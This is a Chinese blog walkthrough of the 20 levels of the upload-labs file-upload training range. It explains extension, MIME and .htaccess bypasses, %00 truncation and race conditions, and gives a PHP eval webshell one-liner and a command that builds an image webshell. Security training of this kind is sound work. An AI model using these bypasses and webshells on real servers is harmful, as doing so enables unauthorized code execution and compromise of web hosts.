文件上传漏洞之upload-labs靶场通关(20关)

先上思维导图

此靶场主要是代码审计

 

第一关:白名单验证

上传图片马进行抓包,修改后缀名为php即可

 

第二关:可以用第一关方法上传,但是这关是考修改MIME信息,将MIME信息改为白名单内容即可

 

第三关:黑名单验证

将php格式换成类似格式即可

 

 

第四关:.htaccess解析

创建一个.htaccess文件,编辑内容为

<FilesMatch "cxk.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

 上传上去,接着上传cxk.jpg上去会被解析为php格式

 

第五关:代码中无strtolower()函数 //转化为小写

将后缀改为大写即可

 

第六关:代码中无收尾去空函数trim() //去除字符串中的空格

后缀加空格即可

 

第七关:代码中无deldot()函数 //删除文件名末尾的点

后缀加个.

 

 

 

第八关:少了str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

利用Windows特性

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

后缀加上::$DATA

 

 

第九关:一次过滤问题

后缀加. .即可

 

第十关:双后缀名绕过

$file_name = str_ireplace($deny_ext,"", $file_name); //这段代码是去除黑名单里面的名称

后缀改为pphphp即可

 

第十一关:%00截断原理

www.xxx.com/shell.php%00.jpg => www.xxx.com/shell.php

如图

 

第十二关:和上一关思路一样,不过这里是POST传参,得将%00进行url编码后再提交

 

 

 

第十三关:利用靶场自带文件包含漏洞可将图片马解析为php执行

一句话:<?php @eval($_POST['x']); ?> 千万别写错,我这里写错了卡了好久[/流泪]

可以用 copy 1.jpg /b + 1.php /a webshell.jpg 制作图片马,也可以直接在图片中写

根据自带的文件包含漏洞可以执行图片马

 

 

第十四关和第十五关和上述操作一样,只是代码有些差异

 

第十六关:二次渲染

和以上方法一样,只是上传上去后一句话代码会被杀,人工尝试绕过基本是不可能构造出能绕过渲染函数的图片webshell的,知道怎么解就可以了。

 

第十七关:条件竞争

看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

操作:直接上传一个php文件,然后进行抓包,将数据包发送至intruder下,如图操作

 

 

 

开始攻击,然后一直访问那个php文件地址,有瞬间可以执行

 

第十八关:这关还是同样的竞争条件,执行的顺序是先上传然后再改名,但如何快速的多线程上传那就会出现bug,绕过方法和上一关的一样,但是这关在上传之前用了白名单来检测,所以只能上传图片马,用Apache解析漏洞或者是文件包含漏洞。

 

第十九关:

方法1,用%00截断

 

方法2,move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

 

 

第二十关:数组绕过

posted @ 2022-04-09 22:43  iChet  阅读(1629)  评论(0编辑  收藏  举报